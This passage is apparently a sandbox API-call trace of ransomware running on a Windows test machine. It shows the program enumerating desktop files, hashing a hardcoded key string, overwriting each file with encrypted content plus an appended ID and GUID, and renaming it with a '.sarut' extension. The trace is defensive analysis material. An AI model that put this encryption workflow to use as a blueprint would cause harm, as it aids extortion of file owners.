RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.055] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.055] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.055] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.056] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.056] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.056] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.056] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.056] GetLastError () returned 0x0 [0268.056] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.056] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.056] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.056] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x17640) returned 0x311d708 [0268.057] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.057] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.057] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x17635, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x17635, lpOverlapped=0x0) returned 1 [0268.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.058] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1763a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.058] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.058] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.058] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.058] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.058] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.058] CloseHandle (hObject=0x5c4) returned 1 [0268.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.060] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.060] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.060] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iPCx0KzGTdc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ipcx0kzgtdc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\iPCx0KzGTdc.mp3.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ipcx0kzgtdc.mp3.sarut")) returned 1 [0268.061] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.061] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.062] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b8cf200, ftCreationTime.dwHighDateTime=0x1d4d499, ftLastAccessTime.dwLowDateTime=0x13fb08a0, ftLastAccessTime.dwHighDateTime=0x1d4d4f2, ftLastWriteTime.dwLowDateTime=0x13fb08a0, ftLastWriteTime.dwHighDateTime=0x1d4d4f2, nFileSizeHigh=0x0, nFileSizeLow=0xb19f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KRom7uq2QFi.m4a", cAlternateFileName="KROM7U~1.M4A")) returned 1 [0268.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.062] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.062] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.062] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KRom7uq2QFi.m4a") returned=".m4a" [0268.062] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KRom7uq2QFi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\krom7uq2qfi.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.062] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=45471) returned 1 [0268.062] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.065] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb179, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.065] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.066] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.066] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.066] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0xb19f, lpOverlapped=0x0) returned 1 [0268.066] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.066] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.066] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.066] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.066] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.067] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.067] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.067] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.067] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.067] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.068] GetLastError () returned 0x0 [0268.068] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.068] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.068] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.068] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb1a0) returned 0x311d708 [0268.068] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.068] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.068] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0xb19a, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0xb19a, lpOverlapped=0x0) returned 1 [0268.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.069] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xb19f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.069] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.069] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.069] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.069] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.069] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.069] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.069] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.069] CloseHandle (hObject=0x5c4) returned 1 [0268.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30826c0 [0268.072] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.072] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30826c0 | out: hHeap=0x640000) returned 1 [0268.072] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KRom7uq2QFi.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\krom7uq2qfi.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KRom7uq2QFi.m4a.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\krom7uq2qfi.m4a.sarut")) returned 1 [0268.073] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.073] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.074] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7211f0 | out: hHeap=0x640000) returned 1 [0268.074] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb98bf80, ftCreationTime.dwHighDateTime=0x1d4d429, ftLastAccessTime.dwLowDateTime=0xf1ee8470, ftLastAccessTime.dwHighDateTime=0x1d4d2ae, ftLastWriteTime.dwLowDateTime=0xf1ee8470, ftLastWriteTime.dwHighDateTime=0x1d4d2ae, nFileSizeHigh=0x0, nFileSizeLow=0x8cfd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msHzUMaVeyMhZg.ods", cAlternateFileName="MSHZUM~1.ODS")) returned 1 [0268.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.074] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5308 [0268.074] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.074] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msHzUMaVeyMhZg.ods") returned=".ods" [0268.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msHzUMaVeyMhZg.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mshzumaveymhzg.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.075] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=36093) returned 1 [0268.075] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.077] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.078] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.079] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.079] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.079] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.080] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x8cfd, lpOverlapped=0x0) returned 1 [0268.080] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.080] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.081] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.081] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.081] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5280) returned 1 [0268.082] CryptCreateHash (in: hProv=0x2fa5280, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.082] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.082] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.082] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.082] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.082] GetLastError () returned 0x0 [0268.082] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.082] CryptReleaseContext (hProv=0x2fa5280, dwFlags=0x0) returned 1 [0268.082] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.082] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8d00) returned 0x311d708 [0268.082] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.082] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.082] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x8cf8, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x8cf8, lpOverlapped=0x0) returned 1 [0268.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.083] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8cfd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.083] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0268.083] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x30b3078 [0268.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0268.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff19f8 | out: hHeap=0x640000) returned 1 [0268.083] WriteFile (in: hFile=0x5c4, lpBuffer=0x30b3078*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30b3078*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0268.083] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30b3078 | out: hHeap=0x640000) returned 1 [0268.083] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0268.083] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0268.083] CloseHandle (hObject=0x5c4) returned 1 [0268.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5280 [0268.088] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x880) returned 0x311d708 [0268.088] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0268.088] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msHzUMaVeyMhZg.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mshzumaveymhzg.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\msHzUMaVeyMhZg.ods.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mshzumaveymhzg.ods.sarut")) returned 1 [0268.089] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.089] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0268.090] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5308 | out: hHeap=0x640000) returned 1 [0268.090] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2d445e0, ftCreationTime.dwHighDateTime=0x1d4cce2, ftLastAccessTime.dwLowDateTime=0xdb132200, ftLastAccessTime.dwHighDateTime=0x1d4d322, ftLastWriteTime.dwLowDateTime=0xdb132200, ftLastWriteTime.dwHighDateTime=0x1d4d322, nFileSizeHigh=0x0, nFileSizeLow=0x14c54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oYQm89fmHM2V.ppt", cAlternateFileName="OYQM89~1.PPT")) returned 1 [0268.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0268.090] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x76) returned 0x7211f0 [0268.090] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0268.090] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oYQm89fmHM2V.ppt") returned=".ppt" [0268.090] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\oYQm89fmHM2V.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\oyqm89fmhm2v.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0268.090] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=85076) returned 1 [0268.090] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0268.093] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14c2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.093] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0268.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0268.094] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.094] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.094] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x14c54, lpOverlapped=0x0) returned 1 [0268.094] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.094] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0268.094] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.094] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0268.094] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0268.095] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0268.095] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0268.095] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0268.095] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0268.095] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0268.095] GetLastError () returned 0x0 [0268.095] CryptDestroyHash (hHash=0x3091560) returned 1 [0268.096] CryptReleaseContext (hProv=0x2fa5308, dwFlags=0x0) returned 1 [0268.096] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0268.096] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x14c50) returned 0x311d708 [0268.096] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0268.096] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0268.096] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x14c4f, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x14c4f, lpOverlapped=0x0) returned 1 [0268.097] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0268.097] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x14c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff19f8 [0268.097] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0268.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 